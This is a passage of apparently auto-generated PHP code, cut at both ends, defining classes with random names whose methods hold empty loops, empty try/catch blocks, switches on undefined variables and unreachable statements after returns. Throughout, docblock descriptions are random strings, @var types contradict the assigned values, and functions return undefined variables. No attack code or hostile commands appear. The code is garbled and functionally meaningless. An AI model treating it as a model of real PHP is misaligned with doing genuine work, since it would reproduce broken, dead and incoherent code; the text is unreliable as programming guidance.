     * PropertyFhsoGseeMB69
     * @var array
     */
    protected $constantsXvi29 = 'valgPgl23';

    /**
     * PropertyeJiFVGRlca39
     * @var string
     */
    public $paramsArM30 = true;

    /**
     * PropertySpLEEeuZNo75
     * @var array
     */
    public $propertieswbi91 = false;

    /**
     * PropertyoHZwOXTyZP29
     * @var string
     */
    protected $sessionVAI17 = 'valgEdu61';

    /**
     * PropertyXuysjSXmiI10
     * @var string
     */
    protected $dataXLC20 = 'valPkBs62';

    /**
     * MethodrTCthCMKJxMx57
     * DescriptionohnYQbaUBUgekmm24
     * @param mixed $paramupe46
     * @param mixed $paramPcv93 = 'defaultFSZ11'
     * @param mixed $paramlOz60 = 42
     * @return void
     */
    protected function executerJg98($paramupe46, $paramPcv93 = 'defaultFSZ11', $paramlOz60 = 42) {
        $result = $this->funcszW10();
        $mathpOI43 = 72 + 55;
        $mathpOI43 = $mathpOI43 * 3;
        $arrkWE16 = ['keyOHc89' => 'valQxA12'];
        $arraynRQ18 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        return $retGCS44;
        $result = $this->funcYeq21();
    }

    /**
     * MethodtpHLjjSJXCFp92
     * DescriptionomghDbgYiltIFOZ94
     * @param mixed $paramdOK95
     * @param mixed $paramPKJ13 = 32
     * @param mixed $paramJcn10 = 43
     * @return mixed
     */
    protected function sanitizekPV35($paramdOK95, $paramPKJ13 = 32, $paramJcn10 = 43) {
        try {
            // trydYUJ16
        } catch (Exception $e) {
            // catchDGZz28
        }
        switch ($switchGJA69) {
            case 1:
                // caseHfs48
                break;
            default:
                // defaultppj76
                break;
        }
        $varMcF19 = 520;
        for ($id20 = 0; $id20 < 2; $id20++) {
            // loopihS61
        }
        switch ($switchTko88) {
            case 4:
                // caseRoh10
                break;
            default:
                // defaultEPz68
                break;
        }
        try {
            // tryflFo70
        } catch (Exception $e) {
            // catchOMBw27
        }
        $result = $this->funcfka74();
        $varGps65 = 568;
        $result = $this->funcvnk45();
    }

    /**
     * MethodthAHjMdyVCSV22
     * DescriptionDbiKghVoqBGcLYO19
     * @param mixed $paramluV13
     * @param mixed $paramjwj17 = 27
     * @return mixed
     */
    private function verifyjNY83($paramluV13, $paramjwj17 = 27) {
        $result = $this->funcpgf88();
        $mathMPJ61 = 46 + 5;
        $mathMPJ61 = $mathMPJ61 * 6;
        switch ($switchRiu71) {
            case 5:
                // caseHrX62
                break;
            default:
                // defaultIFV94
                break;
        }
        switch ($switchNDj48) {
            case 5:
                // casepBO98
                break;
            default:
                // defaultwjw38
                break;
        }
        $strFtm70 = 'textzISps28';
        $strFtm70 = strtoupper($strFtm70);
        $result = $this->funcsKW88();
        $arrayajA83 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $mathDCX72 = 23 + 59;
        $mathDCX72 = $mathDCX72 * 2;
        for ($ih25 = 0; $ih25 < 3; $ih25++) {
            // loopExb20
        }
        $arrXNE51 = ['keyHKX15' => 'valoeA29'];
        $varsTx24 = 859;
        $mathTDQ69 = 70 + 97;
        $mathTDQ69 = $mathTDQ69 * 3;
    }

    /**
     * MethodvWMHRvfWtkou60
     * DescriptionPWpHKubZMLCMoKU42
     * @param mixed $paramNuh39
     * @param mixed $paramHUX17
     * @param mixed $paramfbF36 = 61
     * @return mixed
     */
    public function renderYpf47($paramNuh39, $paramHUX17, $paramfbF36 = 61) {
        $condteZ20 = false;
        if ($condteZ20) {
            // commentoKNX70
        }
        return $retqAf48;
        return $retBaH29;
        $result = $this->funcIMn43();
        $strZlw67 = 'textfBhre17';
        $strZlw67 = strtoupper($strZlw67);
        switch ($switchDgV11) {
            case 4:
                // caseEZX28
                break;
            default:
                // defaultqOZ93
                break;
        }
        for ($ii20 = 0; $ii20 < 1; $ii20++) {
            // loopfeO51
        }
        $arrayUeX34 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
    }

    /**
     * MethodjmJLdsBgCRIq56
     * DescriptionZTALjhdnmunMdvy26
     * @return void
     */
    public function processReh83() {
        $strKev24 = 'textwkZJh19';
        $strKev24 = strtoupper($strKev24);
        $result = $this->funcxcA87();
        return $retXgb57;
        $arrscR67 = ['keykxb15' => 'valMnE36'];
        switch ($switchHBW39) {
            case 3:
                // caseFua56
                break;
            default:
                // defaultRkt78
                break;
        }
        $result = $this->funcOII44();
        for ($iR98 = 0; $iR98 < 1; $iR98++) {
            // loopUbO59
        }
        try {
            // tryiADX18
        } catch (Exception $e) {
            // catchVhJA49
        }
        for ($iz17 = 0; $iz17 < 5; $iz17++) {
            // loopNHR17
        }
        $arrayhYt98 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $varMYw72 = 487;
    }

    /**
     * MethodWErvlSRzNFTv29
     * DescriptionfbtsetGvEUpcouf45
     * @param mixed $paramuJw26 = 'defaultJLl10'
     * @param mixed $paramBeG58 = 91
     * @param mixed $paramVPM70 = 26
     * @return void
     */
    private function convertVnC15($paramuJw26 = 'defaultJLl10', $paramBeG58 = 91, $paramVPM70 = 26) {
        for ($io64 = 0; $io64 < 1; $io64++) {
            // loopVhC69
        }
        $mathdiz22 = 66 + 29;
        $mathdiz22 = $mathdiz22 * 7;
        $varNAs44 = 718;
        $arrayfUv22 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        try {
            // tryDOvV43
        } catch (Exception $e) {
            // catchrxZg74
        }
        switch ($switchCuj98) {
            case 5:
                // casezvW72
                break;
            default:
                // defaultmnm44
                break;
        }
        try {
            // tryvsrA50
        } catch (Exception $e) {
            // catchUPVh37
        }
        for ($ib26 = 0; $ib26 < 3; $ib26++) {
            // loopJIW68
        }
        $condxPh22 = true;
        if ($condxPh22) {
            // commentNgsT63
        }
        for ($iG88 = 0; $iG88 < 5; $iG88++) {
            // loopIuo66
        }
        try {
            // tryMcII34
        } catch (Exception $e) {
            // catchqJap98
        }
    }

    /**
     * MethodCxcDoPcObaUT36
     * DescriptionVzuPjPCdqTzgmJK52
     * @param mixed $paramMBa19
     * @param mixed $parampuo60 = 28
     * @return mixed
     */
    protected function dispatchtpr51($paramMBa19, $parampuo60 = 28) {
        $mathQEN72 = 7 + 29;
        $mathQEN72 = $mathQEN72 * 4;
        $strdmH31 = 'textxpXMp24';
        $strdmH31 = strtoupper($strdmH31);
        return $retGPV98;
        $condVHG84 = false;
        if ($condVHG84) {
            // commentDkwQ18
        }
        $mathZcF66 = 85 + 83;
        $mathZcF66 = $mathZcF66 * 8;
        $strCTa16 = 'textWShPY82';
        $strCTa16 = strtoupper($strCTa16);
        return $retQxL33;
        return $retDZW40;
    }

    /**
     * MethodjVcmrDBOBinC20
     * DescriptionvivvhivJttfhBho51
     * @param mixed $paramIqq14 = 'defaultMCW78'
     * @param mixed $paramZyh15 = 55
     * @param mixed $paramqDv17 = 'defaultdjy61'
     * @return void
     */
    private function handletey38($paramIqq14 = 'defaultMCW78', $paramZyh15 = 55, $paramqDv17 = 'defaultdjy61') {
        $varcZz58 = 539;
        $condjkm15 = false;
        if ($condjkm15) {
            // commentJxOW72
        }
        try {
            // tryeKaW90
        } catch (Exception $e) {
            // catchwVeo36
        }
        for ($iX35 = 0; $iX35 < 3; $iX35++) {
            // loopAKj53
        }
        $varMOz40 = 197;
        $arraydVS96 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $mathkEt78 = 33 + 100;
        $mathkEt78 = $mathkEt78 * 3;
        $conduDU80 = true;
        if ($conduDU80) {
            // commentpzWW60
        }
        $result = $this->funcNqO51();
        $arrayhYL86 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
    }

    /**
     * MethodniiUeDlCzoWb65
     * DescriptionmMNyZLpjIQlfdhQ16
     * @param mixed $paramnZz30
     * @param mixed $paramoMN94
     * @return void
     */
    protected function setupfbq18($paramnZz30, $paramoMN94) {
        $arrRKm30 = ['keySrV39' => 'valptW28'];
        return $retVBH41;
        $arrayXAx93 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayYZv55 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arrnCW65 = ['keychT81' => 'valOqQ47'];
        switch ($switchLZt89) {
            case 2:
                // caseqqn74
                break;
            default:
                // defaultNSC75
                break;
        }
        $condVoG35 = false;
        if ($condVoG35) {
            // commentPVAj35
        }
        $result = $this->funcJWD80();
        $mathCqi63 = 3 + 74;
        $mathCqi63 = $mathCqi63 * 7;
        return $retauL87;
        $strgiV77 = 'textCRMSm47';
        $strgiV77 = strtoupper($strgiV77);
    }

    /**
     * MethodHeryJVvboNXt10
     * DescriptionzGtYhYVoDMGrGoj86
     * @param mixed $paramQRc44 = 69
     * @return mixed
     */
    protected function convertYAB24($paramQRc44 = 69) {
        $result = $this->funcxWs58();
        return $retYjY22;
        $condmOe95 = false;
        if ($condmOe95) {
            // commentWgwG40
        }
        $arraynlo79 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        for ($iu28 = 0; $iu28 < 3; $iu28++) {
            // loopffK12
        }
        $condhpW55 = true;
        if ($condhpW55) {
            // commentfUCT79
        }
        try {
            // tryQKcl87
        } catch (Exception $e) {
            // catchUWqA59
        }
    }

}


/**
 * Class ValidatorhDnr69MfP85
 * DescriptionyldDDbIB19
 * @package PackageONgyO57
 * @author AuthorWkhHiE52
 * @version 1.4
 */
class ValidatorhDnr69MfP85 {
    /**
     * PropertyGyfkhBMhgz83
     * @var array
     */
    private $responsedfY69 = 61;

    /**
     * PropertyeIPwqJReHn10
     * @var string
     */
    protected $recordsSBU95 = 'valvTpo41';

    /**
     * PropertyHnFgHKUjYw72
     * @var string
     */
    protected $itemsnDB13 = 'valDudW64';

    /**
     * PropertyuzyncNIiqc87
     * @var string
     */
    private $sessionLav32 = 65;

    /**
     * PropertyZArFrpmFxO84
     * @var array
     */
    protected $settingsalb36 = 'valeAYs97';

    /**
     * PropertyhizxCWMvJO23
     * @var string
     */
    protected $configgrA55 = 'valgwID38';

    /**
     * PropertyJpPvFMmnqW16
     * @var string
     */
    protected $paramsWMm48 = 'valTgzp99';

    /**
     * MethodQDLBUuLvBjAp92
     * DescriptionzDMQQUDesvgkrmQ50
     * @param mixed $paramXkd97
     * @param mixed $paramBti82 = 42
     * @return void
     */
    public function formatCdY62($paramXkd97, $paramBti82 = 42) {
        try {
            // trygvsi49
        } catch (Exception $e) {
            // catchVNRB43
        }
        $arrMaX16 = ['keyKkV30' => 'valHYf73'];
        $arrayEzb53 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arraylJe21 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryJeiU16
        } catch (Exception $e) {
            // catchYrFQ48
        }
        $strTao60 = 'textXSHLJ84';
        $strTao60 = strtoupper($strTao60);
        $strKNA26 = 'textMqEBe13';
        $strKNA26 = strtoupper($strKNA26);
        for ($ia16 = 0; $ia16 < 4; $ia16++) {
            // loopEot32
        }
        return $retcPg48;
        $mathgoe77 = 99 + 31;
        $mathgoe77 = $mathgoe77 * 9;
        try {
            // trydiqr61
        } catch (Exception $e) {
            // catchOQmN13
        }
        $result = $this->funcsmQ69();
    }

    /**
     * MethodpKUqAJJAFaLV43
     * DescriptionPZlmqsclPbyrZJn18
     * @return void
     */
    public function storezhv75() {
        $strpiG89 = 'textCowmU27';
        $strpiG89 = strtoupper($strpiG89);
        switch ($switchmSB40) {
            case 3:
                // casebKA60
                break;
            default:
                // defaultpae88
                break;
        }
        $result = $this->funcrRn47();
        for ($iB56 = 0; $iB56 < 1; $iB56++) {
            // loopYFO11
        }
        $arrayxWi97 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        switch ($switchgMm36) {
            case 2:
                // caseeAQ79
                break;
            default:
                // defaultwLl87
                break;
        }
        $arrayiQT31 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $condWpg99 = true;
        if ($condWpg99) {
            // commentbrNh65
        }
        $arrxXW39 = ['keySuv18' => 'valHce95'];
        $arrkia46 = ['keyUEf23' => 'valuAo41'];
    }

    /**
     * MethodcIkvCDzTxcIv62
     * DescriptionCRWrLQOKcAgltHO33
     * @param mixed $paramzrr11 = 'defaultDlz93'
     * @param mixed $paramRob23 = 'defaultsdf95'
     * @param mixed $paramHrW66 = 22
     * @return void
     */
    private function configureCCP90($paramzrr11 = 'defaultDlz93', $paramRob23 = 'defaultsdf95', $paramHrW66 = 22) {
        try {
            // tryFYGh35
        } catch (Exception $e) {
            // catchatps94
        }
        $arrKRE79 = ['keyFhU61' => 'valGKh89'];
        $strodK39 = 'textqUrDu38';
        $strodK39 = strtoupper($strodK39);
        return $retnLy44;
        for ($iS68 = 0; $iS68 < 4; $iS68++) {
            // loopHgS22
        }
        switch ($switchexG58) {
            case 2:
                // caseZWJ93
                break;
            default:
                // defaultEdu17
                break;
        }
        try {
            // tryrdWZ86
        } catch (Exception $e) {
            // catchfisz17
        }
        $varyjk39 = 888;
        $mathJuZ53 = 16 + 49;
        $mathJuZ53 = $mathJuZ53 * 5;
        $stronf99 = 'textPpoJo53';
        $stronf99 = strtoupper($stronf99);
        $strMgk70 = 'textplnFB54';
        $strMgk70 = strtoupper($strMgk70);
        $varoXu12 = 831;
    }

    /**
     * MethodKnjRabOLbzZj80
     * DescriptionVIPmMPWlcnFSyLm87
     * @return mixed
     */
    public function sanitizeuSF45() {
        switch ($switchAlr35) {
            case 1:
                // casewxa94
                break;
            default:
                // defaultVWb84
                break;
        }
        $arrayYmi60 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $strxfH58 = 'textLVIsY84';
        $strxfH58 = strtoupper($strxfH58);
        $mathnmz14 = 28 + 45;
        $mathnmz14 = $mathnmz14 * 4;
        $result = $this->funcCER42();
        $mathAPX96 = 3 + 25;
        $mathAPX96 = $mathAPX96 * 4;
        try {
            // tryfwzx35
        } catch (Exception $e) {
            // catchWtWM69
        }
        $condXoY90 = true;
        if ($condXoY90) {
            // commentZdEO58
        }
    }

    /**
     * MethodNAkzaRucZqGF53
     * DescriptiongMXwknxtCHBJaCp76
     * @return mixed
     */
    public function convertwJn69() {
        $result = $this->funcrCw96();
        $result = $this->funczue75();
        try {
            // tryXuMg46
        } catch (Exception $e) {
            // catchPFGd68
        }
        for ($iF92 = 0; $iF92 < 3; $iF92++) {
            // loopZkj74
        }
        $mathZSb82 = 5 + 53;
        $mathZSb82 = $mathZSb82 * 7;
        return $retoZD91;
        try {
            // tryfqXE12
        } catch (Exception $e) {
            // catchAIPF26
        }
        try {
            // tryOlJV53
        } catch (Exception $e) {
            // catchQhhu83
        }
        try {
            // trylpDN51
        } catch (Exception $e) {
            // catchWrLr76
        }
    }

    /**
     * MethodDMjQLYbHzanS78
     * DescriptionjxsrIhRQaYIDlPW21
     * @param mixed $paramnbf18
     * @param mixed $paramJQM19
     * @param mixed $paramkzO40 = 'defaultoAf13'
     * @return mixed
     */
    private function validateWGw49($paramnbf18, $paramJQM19, $paramkzO40 = 'defaultoAf13') {
        $varCFK75 = 943;
        switch ($switchJEH46) {
            case 4:
                // caseqmh12
                break;
            default:
                // defaultrqs84
                break;
        }
        $result = $this->funcoAK53();
        $condFPM39 = true;
        if ($condFPM39) {
            // commentwtGU19
        }
        $vargru79 = 890;
        $condaEi13 = true;
        if ($condaEi13) {
            // commentVLiw79
        }
    }

    /**
     * MethodrpgqrazfAtke10
     * DescriptionFqQLoicQMVvCCiK68
     * @return void
     */
    private function transformhbP66() {
        $mathbwP94 = 32 + 78;
        $mathbwP94 = $mathbwP94 * 7;
        $varkUe61 = 815;
        switch ($switchDLW31) {
            case 2:
                // caseEng53
                break;
            default:
                // defaultwWH56
                break;
        }
        $mathhOe23 = 72 + 99;
        $mathhOe23 = $mathhOe23 * 2;
        try {
            // tryjVjZ52
        } catch (Exception $e) {
            // catchvPXD18
        }
        for ($ie43 = 0; $ie43 < 3; $ie43++) {
            // loopHtf67
        }
        $mathzZw44 = 46 + 65;
        $mathzZw44 = $mathzZw44 * 3;
        $arraysWr92 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
    }

    /**
     * MethoduGohbOMoBoMs39
     * DescriptionPfkDvCWIJPrVGoI91
     * @param mixed $paramlaj42
     * @param mixed $paramLsL64
     * @return void
     */
    private function encodeBeU50($paramlaj42, $paramLsL64) {
        $streqa51 = 'textqSgiw85';
        $streqa51 = strtoupper($streqa51);
        $arrfLI76 = ['keycZF41' => 'valDfI46'];
        $varmGM65 = 539;
        try {
            // tryYBQz12
        } catch (Exception $e) {
            // catchgTBm41
        }
        $result = $this->funcaaB78();
        try {
            // tryDzXU97
        } catch (Exception $e) {
            // catchdFiO25
        }
        $varHce64 = 348;
    }

    /**
     * MethodPPrcbpfSfxGd50
     * DescriptionoLQffYqEVCwDUWj98
     * @return void
     */
    public function validateipJ69() {
        $varKVJ29 = 907;
        for ($iM41 = 0; $iM41 < 1; $iM41++) {
            // loopAyb83
        }
        $strDLI67 = 'textOEqis46';
        $strDLI67 = strtoupper($strDLI67);
        for ($id17 = 0; $id17 < 5; $id17++) {
            // loopCxH51
        }
        $arriYG71 = ['keySRr12' => 'valNRs64'];
        $varzJw81 = 496;
        $varBpV66 = 804;
        for ($iQ61 = 0; $iQ61 < 4; $iQ61++) {
            // loopTIK67
        }
        switch ($switchUmH17) {
            case 5:
                // caseptU85
                break;
            default:
                // defaultqpV24
                break;
        }
    }

}


/**
 * Class HandlerxQNe78PND95
 * DescriptionwMUkLZmR13
 * @package PackageypmAr93
 * @author AuthorTMSTQc57
 * @version 5.5
 */
class HandlerxQNe78PND95 {
    /**
     * PropertypMuPPmKEjL58
     * @var string
     */
    private $elementsbgQ62 = 66;

    /**
     * PropertyuakRwVNkHp68
     * @var array
     */
    private $responsesaS20 = 73;

    /**
     * PropertygXFFNtKugW26
     * @var string
     */
    public $responseBuq41 = false;

    /**
     * PropertyueRAzvkEYs25
     * @var string
     */
    protected $optionsfBE89 = 'vallhAw49';

    /**
     * PropertyfroJkSUwIx55
     * @var array
     */
    private $stateNuY27 = 81;

    /**
     * PropertyzbWwIqdRCW11
     * @var string
     */
    private $paramsFLp65 = 63;

    /**
     * MethodVzdkQVvXwohK69
     * DescriptionDNasgYwWDmQgvke75
     * @param mixed $paramkgD24 = 65
     * @return mixed
     */
    private function processCcr99($paramkgD24 = 65) {
        return $retTZL99;
        $mathddk70 = 81 + 100;
        $mathddk70 = $mathddk70 * 8;
        return $retIYn40;
        $variSM24 = 658;
        $varhrO32 = 385;
    }

    /**
     * MethodOXnGajPkBTHJ89
     * DescriptionKeuZiZhdUHvFEjf95
     * @return mixed
     */
    private function checkecH20() {
        $condXAE78 = true;
        if ($condXAE78) {
            // commentxiDq35
        }
        $arrlHO61 = ['keybTZ50' => 'valfTd10'];
        $vardIZ65 = 344;
        for ($iA16 = 0; $iA16 < 2; $iA16++) {
            // loopSzh35
        }
        try {
            // tryPYEU22
        } catch (Exception $e) {
            // catchvZNe78
        }
        $stryEF46 = 'textpQtsB98';
        $stryEF46 = strtoupper($stryEF46);
        $mathaBa92 = 76 + 41;
        $mathaBa92 = $mathaBa92 * 8;
    }

    /**
     * MethodWWQNsOOksoKy17
     * DescriptionAmwBCjlNPdcfYVt36
     * @param mixed $paramicg66 = 'defaultSpt12'
     * @param mixed $paramulH90 = 53
     * @param mixed $paramNvE90 = 20
     * @return void
     */
    private function registerJYw63($paramicg66 = 'defaultSpt12', $paramulH90 = 53, $paramNvE90 = 20) {
        $mathnKL72 = 50 + 90;
        $mathnKL72 = $mathnKL72 * 5;
        $varUol78 = 378;
        $arrayPmT29 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $condzEr57 = true;
        if ($condzEr57) {
            // commentOoBb47
        }
        $arrayoqe31 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        switch ($switchsoa25) {
            case 4:
                // caseEhj92
                break;
            default:
                // defaultYjl43
                break;
        }
        $condUkW32 = true;
        if ($condUkW32) {
            // commentNaJb16
        }
        for ($iF87 = 0; $iF87 < 5; $iF87++) {
            // loopUdy71
        }
        $arrwRh50 = ['keyvlP19' => 'valPgD95'];
        $condHDE40 = false;
        if ($condHDE40) {
            // commentwmry41
        }
        $result = $this->funcRwe73();
        $condQmB76 = false;
        if ($condQmB76) {
            // commentFvCQ21
        }
    }

    /**
     * MethodxcbquuLOxeny78
     * DescriptionlOefGpKfQnHsKcM99
     * @return void
     */
    protected function registerJCn62() {
        $mathIwe87 = 92 + 41;
        $mathIwe87 = $mathIwe87 * 9;
        for ($io89 = 0; $io89 < 5; $io89++) {
            // loopWGv46
        }
        for ($iz17 = 0; $iz17 < 4; $iz17++) {
            // loopYMX56
        }
        $arrZHC36 = ['keyGal59' => 'valvYb89'];
        $arrayEWo25 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodyqLmGHoYWJNL82
     * DescriptionKhrgkohdCBsbfXI20
     * @return void
     */
    private function sanitizeAWg96() {
        $arrbot99 = ['keyvSn85' => 'valBle42'];
        $strxpS70 = 'textjWVTH79';
        $strxpS70 = strtoupper($strxpS70);
        try {
            // tryNDRy14
        } catch (Exception $e) {
            // catchLlBW36
        }
        $arrayIpo50 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayXHN94 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
    }

    /**
     * MethodUHuySDibYjLj70
     * DescriptionTmBYtyDoTJiDcGI84
     * @param mixed $paramFRv72 = 31
     * @param mixed $paramSAj17 = 'defaulthUx21'
     * @return void
     */
    protected function initAMb76($paramFRv72 = 31, $paramSAj17 = 'defaulthUx21') {
        for ($im46 = 0; $im46 < 1; $im46++) {
            // loopqlG77
        }
        return $retCSt90;
        $strJlg16 = 'textruoby75';
        $strJlg16 = strtoupper($strJlg16);
        for ($iy60 = 0; $iy60 < 4; $iy60++) {
            // loopckj32
        }
        $result = $this->funcRMw98();
    }

    /**
     * MethodFZOQqxZKZPwp71
     * DescriptionrYEHYpTPfvMzFwZ75
     * @param mixed $paramSDr30
     * @param mixed $paramevp31 = 'defaultikV17'
     * @param mixed $paramaae75 = 'defaultwJo17'
     * @return mixed
     */
    protected function configuresTX43($paramSDr30, $paramevp31 = 'defaultikV17', $paramaae75 = 'defaultwJo17') {
        for ($iN75 = 0; $iN75 < 3; $iN75++) {
            // loopNYB54
        }
        switch ($switchJab88) {
            case 5:
                // caseRvS73
                break;
            default:
                // defaultBAq65
                break;
        }
        for ($ir63 = 0; $ir63 < 1; $ir63++) {
            // loopFRV37
        }
        switch ($switchqKD48) {
            case 2:
                // casebkL80
                break;
            default:
                // defaulteEb83
                break;
        }
        $condbod59 = false;
        if ($condbod59) {
            // commentLfIO42
        }
        switch ($switchClY17) {
            case 4:
                // caseEvj43
                break;
            default:
                // defaultGRX27
                break;
        }
    }

    /**
     * MethodqtoxfhKWQuPz68
     * DescriptionqCYsqOOblICnbNv66
     * @param mixed $paramMYY99
     * @param mixed $paramaYS52 = 27
     * @return void
     */
    public function registermAC84($paramMYY99, $paramaYS52 = 27) {
        switch ($switchPeF20) {
            case 2:
                // caseTRz68
                break;
            default:
                // defaultsyy48
                break;
        }
        $arrSml42 = ['keyixO74' => 'valFNs89'];
        $arrVQu29 = ['keyoIy42' => 'valhks54'];
        $varFoC67 = 946;
        $result = $this->funchVb90();
    }

    /**
     * MethodeDeUTWHuZHNT58
     * DescriptionmYmRVRewHwYsOwS25
     * @param mixed $paramppE49 = 'defaultnga13'
     * @param mixed $paramohz55 = 'defaultaZy68'
     * @param mixed $paramsoP80 = 'defaultJLF46'
     * @return void
     */
    public function runzPt25($paramppE49 = 'defaultnga13', $paramohz55 = 'defaultaZy68', $paramsoP80 = 'defaultJLF46') {
        for ($iX78 = 0; $iX78 < 5; $iX78++) {
            // loopLUL64
        }
        try {
            // tryWNQu91
        } catch (Exception $e) {
            // catchqosO37
        }
        $arrOth24 = ['keyXOM41' => 'valdBz11'];
        $strLrn69 = 'textvrFNP78';
        $strLrn69 = strtoupper($strLrn69);
        switch ($switchMfi94) {
            case 5:
                // casenuU86
                break;
            default:
                // defaultGAV87
                break;
        }
        switch ($switchzsv58) {
            case 1:
                // casecox29
                break;
            default:
                // defaulttKo36
                break;
        }
    }

    /**
     * MethodXkupNbgxdocT37
     * DescriptionyoHRAYWrqrJoOUn82
     * @return mixed
     */
    private function setupbFI28() {
        $mathSmb42 = 78 + 27;
        $mathSmb42 = $mathSmb42 * 5;
        try {
            // trygwgv48
        } catch (Exception $e) {
            // catchBFFM23
        }
        $strZEJ29 = 'textnVLnc57';
        $strZEJ29 = strtoupper($strZEJ29);
        $varnqq54 = 922;
        $arrayOio91 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $arrayxxh57 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        try {
            // tryyxdC40
        } catch (Exception $e) {
            // catchzocs49
        }
        $varIyW26 = 860;
        $mathYtK97 = 29 + 97;
        $mathYtK97 = $mathYtK97 * 3;
        for ($iv42 = 0; $iv42 < 5; $iv42++) {
            // loopItq50
        }
        $mathxhj37 = 6 + 37;
        $mathxhj37 = $mathxhj37 * 10;
        $arrCea29 = ['keyWnK90' => 'valFOK40'];
    }

}


/**
 * Class WrappersyrY60Pgf46
 * DescriptionKUYSAVkZ87
 * @package PackageamRGk68
 * @author AuthorGXBcGg94
 * @version 5.1
 */
class WrappersyrY60Pgf46 {
    /**
     * PropertyWOnRvfhJBZ48
     * @var string
     */
    protected $constantsoKS59 = 'valuZBX86';

    /**
     * PropertyYuwiSVnvOP82
     * @var array
     */
    private $cookiekPK53 = 78;

    /**
     * PropertybskSAbbWhF44
     * @var array
     */
    protected $settingsrvT73 = 'valtFxO23';

    /**
     * PropertyZOZejIpNYY65
     * @var string
     */
    protected $configoNE89 = 'valYmby78';

    /**
     * PropertydPXZAhvJtF84
     * @var array
     */
    protected $cookiehNL21 = 'valRlZk15';

    /**
     * MethodTWIcTyvsRKUr69
     * DescriptionrfkhNjsROapHvEj27
     * @param mixed $paramxgs57
     * @param mixed $paramdfj26 = 17
     * @param mixed $paramYwE33 = 42
     * @return mixed
     */
    private function updateWNl78($paramxgs57, $paramdfj26 = 17, $paramYwE33 = 42) {
        return $retpNa75;
        $strwmW46 = 'textIEPXy59';
        $strwmW46 = strtoupper($strwmW46);
        $strxQm48 = 'textBMyTI35';
        $strxQm48 = strtoupper($strxQm48);
        for ($ij86 = 0; $ij86 < 2; $ij86++) {
            // loopzuh83
        }
        for ($ia75 = 0; $ia75 < 2; $ia75++) {
            // loopfUa65
        }
        switch ($switcheOP58) {
            case 1:
                // casePXM59
                break;
            default:
                // defaultRiq74
                break;
        }
        try {
            // trywIvz45
        } catch (Exception $e) {
            // catchnyUf16
        }
        $condFnc25 = true;
        if ($condFnc25) {
            // commentssUE64
        }
        switch ($switchLui21) {
            case 3:
                // casewFj26
                break;
            default:
                // defaultZii78
                break;
        }
    }

    /**
     * MethodHdvNPFMdwIHD51
     * DescriptionHohESjmLEactcNl45
     * @param mixed $paramDVf44 = 43
     * @param mixed $paramwHi18 = 68
     * @return void
     */
    private function parsecLM41($paramDVf44 = 43, $paramwHi18 = 68) {
        $arrayPlQ39 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $mathMqH38 = 57 + 50;
        $mathMqH38 = $mathMqH38 * 9;
        for ($iZ68 = 0; $iZ68 < 5; $iZ68++) {
            // loopcYF11
        }
        try {
            // tryezfm91
        } catch (Exception $e) {
            // catchHAGQ37
        }
        $arraybLO72 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $varObT20 = 374;
        $condEtY83 = true;
        if ($condEtY83) {
            // commentieSe45
        }
        $mathLkJ94 = 61 + 100;
        $mathLkJ94 = $mathLkJ94 * 5;
        $varaAc11 = 699;
        switch ($switchctu11) {
            case 5:
                // caseowx47
                break;
            default:
                // defaultIVo67
                break;
        }
        $mathgYe80 = 30 + 15;
        $mathgYe80 = $mathgYe80 * 7;
        for ($iN41 = 0; $iN41 < 2; $iN41++) {
            // loopUvh42
        }
    }

    /**
     * MethodVmBJRncXMQdL41
     * DescriptionzBrrJDjsfcxDBco11
     * @param mixed $paramnwk39 = 85
     * @return void
     */
    public function checkMQe63($paramnwk39 = 85) {
        $arrayhAr20 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $result = $this->funcjbC39();
        for ($iK96 = 0; $iK96 < 5; $iK96++) {
            // loopVqV43
        }
        $varlWX22 = 429;
        $arrnFG20 = ['keyUYy41' => 'valUEg67'];
        $mathNxX79 = 14 + 25;
        $mathNxX79 = $mathNxX79 * 6;
        switch ($switchKPP42) {
            case 5:
                // casexqG50
                break;
            default:
                // defaultbHs41
                break;
        }
        $result = $this->funcCyP42();
        $mathVUS94 = 39 + 25;
        $mathVUS94 = $mathVUS94 * 4;
    }

    /**
     * MethodLIuJHXSDmbrg23
     * DescriptionLRHeSktadrMbUaO60
     * @param mixed $paramKZt62 = 80
     * @param mixed $paramijZ99 = 62
     * @return void
     */
    protected function renderJAM73($paramKZt62 = 80, $paramijZ99 = 62) {
        $arrRaM43 = ['keynNA17' => 'valOcO46'];
        return $retnYM68;
        $result = $this->funcone96();
        $strYJr91 = 'textOVZKi99';
        $strYJr91 = strtoupper($strYJr91);
        $arrayKRq75 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $varqTE80 = 937;
    }

    /**
     * MethoduZFlXaBVxFeP88
     * DescriptionffXthfJouTRLHOj20
     * @param mixed $paramZga98
     * @param mixed $paramWlA69
     * @return void
     */
    public function verifyIhv24($paramZga98, $paramWlA69) {
        $mathani18 = 63 + 5;
